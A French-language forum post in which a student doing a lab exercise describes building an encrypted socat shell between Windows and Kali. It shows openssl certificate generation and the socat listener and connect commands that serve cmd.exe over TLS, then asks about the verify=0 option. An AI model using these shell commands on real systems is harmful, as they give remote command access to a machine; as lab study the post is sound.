Reverse Shell chiffré, avec socat
Bonjour à vous,
Je suis actuellement confronté à un questionnement suite à un exercice que je suis en train de faire.
L'intitulé est le suivant :
Use socat to create an encrypted reverse shell from your Windows system to your Kali machine.
En premier lieu, j'ai crée la clef privée + le certificat depuis ma machine Windows.
openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt .
Je les ai ensuite concaténés via le bloc note, pour créer un fichier .pem
Je ne sais pas trop si c'est une bonne pratique, l'idée était d'avoir l'équivalent, sous Windows, de cette commande :
$ cat bind_shell.key bind_shell.crt > bind_shell.pem.
Je lance ensuite mon reverse shell, sur Windows, via l'outil socat, en intégrant le fichier .pem :
socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC 'cmd.exe', pipes.
Enfin, pour me connecter à la machine Windows, je lance la commande suivante depuis Linux :
socat - OPENSSL:[Mon IP]:443, verify=0.
Une fois ces étapes effectuées, j'ai bien accès à ma machine Windows, depuis la machine Linux.
Ce que je ne comprends pas, c'est que dans les support de cours il est spécifié au travers des exemples, de mettre l'option verify à 0. (tel que je l'ai fait ici)
Mais pourquoi ne pas la mettre à 1 si l'on veut imposer le certificat et le chiffrement ?
Est-ce qu'en l'état, le trafic est réellement chiffrées entre les deux machines ? :?
Merci de votre aide :)